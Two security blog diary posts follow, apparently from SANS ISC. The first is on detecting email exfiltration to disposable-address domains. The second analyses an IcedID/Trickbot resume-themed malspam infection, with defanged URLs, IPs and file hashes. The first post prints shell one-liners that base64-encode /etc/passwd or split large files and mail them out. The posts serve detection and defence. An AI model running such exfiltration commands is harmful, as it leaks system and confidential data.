Keep an Eye on Disposable Email Addresses

Published: 2019-03-06
Last Updated: 2019-03-07 07:49:14 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

In many organisations, emails still remain a classic infection path today. The good old email is still today a common communication channel to exchange information with people outside of the security perimeter. Many security controls are in place to reduce the number of malicious emails landing in users’ mailboxes. If, from a network perspective, firewalls inspect traffic in both directions (“egress” and “ingress” filters), it’s not always the case with email flows. They are often just allowed to go out through local MTA’s (Mail Transfert Agents).

From a malware point of view, inspecting outgoing emails for malicious content is less critical. Except if the mail server is being compromized or left open to send massive waves of malicious messages, we can assume that internal emails are “clean” but what about data exfiltration? A DLP ("Data Leak Prevention") tool could sometimes spot interesting content but I'm not a big fan of such solution. Today, most content is obfuscated or encrypted. We can try to spot suspicious activity just be having a look at our logs. Yes, logs are mandatory if you did not know yet!

I found on some compiled lists of domains used by free mail providers or disposable (“temporary”) email providers (like the well-known[1]). I'm a big fan of such services, especially when I'm forced by a vendor to fill a form with my contact details just to download a white-paper or a report. 

I compiled my own list[2] and started to correlate these domains with a lot of events generated by different MTA’s (I’m lucky to have access to big networks). Guess what? I found many suspicious communications with disposable email providers. What did I found?

A user who probably setup a forward rule to send a copy of all his/her emails to a free email address (Is it allowed by your policy?)

Users who sent emails to disposable email addresses with the subject “to print”,  “to review” or “to read”. Probably to work from a remote location.

Users who sent official documents to a known partner who was using a free email address (in this case, it was an embassy!)

Often, sending emais is very convenient because you just need to use the available mail servers inside the infrastructure. Emails are just allowed because it's a classic way for the IT team to get results of scripts, backups, etc. So convenient! Emails can also by generated from scripts (Shell, Python, …) with just a one-liner:

$ base64 </etc/passwd | mail

The exfiltration of big files is easy:

$ cat bigfile.tgz \
| split -b 2000 && for f in xa*; do base64 $f \
| mail -s $f; done

Check also for beaconing (emails sent a regular interval to the same destination - ex: 1 email every 2h)

What about blocking outgoing emails to those domains? It must be decided case by case, depending on your environment and your business. In the environment where I found the case described above, it's simply not possible to block all of them.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)
March Edition of Ouch! Newsletter: Securely Disposing Mobile Devices
ISC Stormcast For Wednesday, March 6th 2019

Malspam with password-protected word docs still pushing IcedID (Bokbot) with Trickbot

Published: 2019-03-06
Last Updated: 2019-03-06 00:08:25 UTC
by Brad Duncan (Version: 1)
0 comment(s)


Malicious spam (malspam) using attached password-protected Word documents is a long-running campaign that I and others have occasionally documented.  This campaign has a history of pushing various types of ransomware and information stealers.  I previously wrote about this campaign in December 2018, when it started pushing IcedID (Bokbot).

It's still active using resume-themed malspam.  And it's still pushing IcedID.  But ever since February 2019, IcedID has been following up with Trickbot as described by Crowdstrike here.  Because of this recent change, we should again review infection activity from this campaign.  Today's diary examines an infection from Monday 2019-03-04.

Shown above:  Flow chart for infection activity on Monday 2019-03-04.

The malspam and attached Word docs

Emails from this malspam campaign started again on Tuesday 2019-03-05.  All attached document names end with Resume.doc and all email addresses end with  All attached Word documents were 37,888 bytes.  Here is a list of 30 examples:

Read: Date/Time -- Attachment name -- Sending address (spoofed) -- Subject

  • 2019-03-05 21:40 UTC -- Tricia Cogswell Resume.doc -- -- Job
  • 2019-03-05 21:15 UTC -- Rhiannon Litwin Resume.doc -- -- Regarding Job
  • 2019-03-05 20:51 UTC -- Kasey Rohloff Resume.doc -- -- Job
  • 2019-03-05 20:37 UTC -- Roxane Beverley Resume.doc -- -- Regarding Job
  • 2019-03-05 20:16 UTC -- Marhta Sessler Resume.doc -- -- Regarding Job
  • 2019-03-05 20:04 UTC -- Tam Skipworth Resume.doc -- -- Hiring
  • 2019-03-05 20:01 UTC -- Arminda Fortson Resume.doc -- -- Hiring
  • 2019-03-05 19:52 UTC -- Roxane Beverley Resume.doc -- -- Hiring
  • 2019-03-05 19:32 UTC -- Randolph Nelsen Resume.doc -- -- Job Application
  • 2019-03-05 19:28 UTC -- Angie Pirkle Resume.doc -- -- Job Application
  • 2019-03-05 19:19 UTC -- Kelvin Quarterman Resume.doc -- -- Hiring
  • 2019-03-05 18:56 UTC -- Shona Dyck Resume.doc -- -- Regarding Job
  • 2019-03-05 18:36 UTC -- Madeleine Valero Resume.doc -- -- Job Application
  • 2019-03-05 18:02 UTC -- Lashawn Bilal Resume.doc -- -- Job
  • 2019-03-05 17:40 UTC -- Sunny Osgood Resume.doc -- -- Hiring
  • 2019-03-05 17:23 UTC -- Tam Skipworth Resume.doc -- -- application
  • 2019-03-05 17:16 UTC -- Vicky Linsey Resume.doc -- -- Regarding position
  • 2019-03-05 17:09 UTC -- Tam Skipworth Resume.doc -- -- Regarding position
  • 2019-03-05 17:06 UTC -- Tam Skipworth Resume.doc -- -- Regarding position
  • 2019-03-05 16:41 UTC -- Kelvin Quarterman Resume.doc -- -- Job Application
  • 2019-03-05 16:06 UTC -- Tam Skipworth Resume.doc -- -- Regarding position
  • 2019-03-05 16:03 UTC -- Lana Sines Resume.doc -- -- Hiring
  • 2019-03-05 16:02 UTC -- Rhiannon Litwin Resume.doc -- -- Regarding Job
  • 2019-03-05 16:01 UTC -- Livia Westlake Resume.doc -- -- Job Application
  • 2019-03-05 15:50 UTC -- Livia Westlake Resume.doc -- -- Regarding position
  • 2019-03-05 15:41 UTC -- Shandi Stribling Resume.doc -- -- Regarding Job
  • 2019-03-05 15:26 UTC -- Kylee Chiles Resume.doc -- -- Regarding Job
  • 2019-03-05 15:06 UTC -- Livia Westlake Resume.doc -- -- Hiring
  • 2019-03-05 14:56 UTC -- Kelvin Quarterman Resume.doc -- -- Regarding position
  • 2019-03-05 14:56 UTC -- Alona Mcferren Resume.doc -- -- application

On Monday 2019-03-04, I searched VirusTotal Intelligence for Word documents with Resume.doc as part of the file name, and were 37,888 bytes in size.  I found several results and chose one of the more recent examples to generate an infection in my lab environment.  These files show a low detection rate in VirusTotal, probably because they are password-protected.

Shown above: Search results in VirusTotal Intelligence from Monday 2019-03-04.

I found an example from Wednesday 2019-02-27 that came from malspam as shown in the images below.

Shown above:  Example of the malspam and attached Word document.

Shown above:  Attached Word document after unlocked with the password 1234.

Infection traffic

Shown above:  Traffic from the infection filtered in Wireshark.

In the above image, an infected Windows client is on, and the domain controller (DC) is on  Traffic shows the Windows client first infected with IcedID.  Shortly after the initial infection, the client retrieves Trickbot spreader EXEs that download and send Trickbot to the DC.

Evil macro retrieves EXE for IcedID (Bokbot):

  • 209.141.55[.]226 port 80 - 209.141.55[.]226 - GET /troll1.jpg

IcedID (Bokbot) infection traffic:

  • 146.120.110[.]93 port 443 - detecture[.]pw - HTTPS/SSL/TLS traffic caused by IcedID (Bokbot)
  • 146.120.110[.]93 port 80 - govenian[.]host - GET /data2.php?0123456789ABCDEF
  • 146.120.110[.]93 port 443 - govenian[.]host - Client Hello
  • 85.246.116[.]239 port 443 - matchippsi[.]com - attempted TCP connections, but no response from server
  • 188.127.239[.]51 port 80 and 443 - thracial[.]pw - attempted TCP connections, but no response from server
  • 188.127.239[.]51 port 80 and 443 - saudienter[.]pw - attempted TCP connections, but no response from server
  • 87.236.22[.]142 port 80 and 443 - superhaps[.]pw - attempted TCP connections, but no response from server
  • 87.236.22[.]142 port 80 and 443 - maalous[.]pw - attempted TCP connections, but no response from server

IcedID (Bokbot) infection traffic related to Trickbot propagation:

  • 46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Tinx86_14.exe
  • 46.249.62[.]199 port 80 - 46.249.62[.]199 - GET /Sw9JKmXqaSj.exe
  • 94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /sin.png
  • 94.250.253[.]158 port 80 - 94.250.253[.]158 - GET /tin.png

Trickbot infection traffic:

  • port 80 - ip.anysrc[.]net - GET /plain
  • 192.243.102[.]170 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 185.255.79[.]113 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 212.80.216[.]238 port 447 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 179.189.241[.]254 port 449 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 94.140.125[.]131 port 443 - HTTPS/SSL/TLS traffic caused by Trickbot
  • 103.119.144[.]250 port 8082 - 103.119.144[.]250:8082 - POST /tin20/[string of characters]


SHA256 hash: bfda463352e31502f70eacc46827e505ebae681dce1211aa11a12eb693803790

  • File size: 37,888 bytes
  • File name: Dominga Adkinson Resume.doc
  • File description: Password-protected Word doc with evil macro designed to install malware

SHA256 hash: 62b7fbffd000a8d747c55260f0b867d09bc4ad19b2b657fb9ee3744c12b87257

  • File size: 707,584 bytes
  • File location: hxxp://209.141.55[.]226/troll1.jpg
  • File location: C:\Users\[username]\AppData\Local\Temp\qwerty2.exe
  • File description: IcedID (Bokbot) malware retrieved by evil macro

SHA256 hash: 046482ac16d538f1ab105669c8355cf6c6444e3310b1819fd7c38ace18b049fa

  • File size: 327,733 bytes
  • File location: hxxp://46.249.62[.]199/Sw9JKmXqaSj.exe
  • File description: Trickbot downloader (1 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: 38155ede329f41fd733d2abaceb5064494e33ea2d697add430d400c45eab6633

  • File size: 2,977,845 bytes
  • File location: hxxp://46.249.62[.]199/Tinx86_14.exe
  • File description: Trickbot downloader (2 of 2) retrieved from 46.249.62[.]199 by IcedID-infected host

SHA256 hash: cf99990bee6c378cbf56239b3cc88276eec348d82740f84e9d5c343751f82560

  • File size: 115,712 bytes
  • File description: Trickbot-related executable found on the infected DC

SHA256 hash: 578025955b8e7de29489dbb3d077e524a9ca7afdeff7d41afbd39b628550a027

  • File size: 847,872 bytes
  • File location: hxxp://94.250.253[.]158/sin.png
  • File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client

SHA256 hash: f6e8302d9c3e043d208d60af280e7a30bc08a3d235c797f2cd8b0bb53116230c

  • File size: 847,872 bytes
  • File location: hxxp://94.250.253[.]158/tin.png
  • File location: C:\Users\Default\AppData\Roaming\wnetwork\y5lwqmn_ch72bggm929d5m6zkqado3179zfrqa67ekdd5bwatve7_zzu6p9vjob0.exe
  • File description: Trickbot EXE retrieved from 94.250.253[.]158 by infected client and used to infect the DC

Final words

Most interesting was the Windows client initially infected with IcedID.  This client was not infected with Trickbot.  Trickbot downloaders (Sw9JKmXqaSj.exe and Tinx86_14.exe) retrieved by my IcedID-infected client sent a Trickbot EXE (tin.png) to the DC over SMB using an ETERNALBLUE-style exploit.  But any Trickbot EXEs downloaded from 94.250.253[.]158 (sin.png and tin.png) were not executed on the Windows client.  In two previous examples from February 2019 (here and here) both client and DC were infected with Trickbot, but the DC was always infected first.  From there, Trickbot spread from the DC to my IcedID-infected Windows client.

In my example from Monday 2019-03-04 for today's diary, Trickbot didn't propagate back to the original Windows client.  If I'd waited long enough for all Trickbot modules to load on the DC, perhaps it would've spread back to the client as seen in previous examples.

A pcap of the infection traffic and malware associated with today's diary can be found here.

Brad Duncan
brad [at]

0 comment(s)


Diary Archives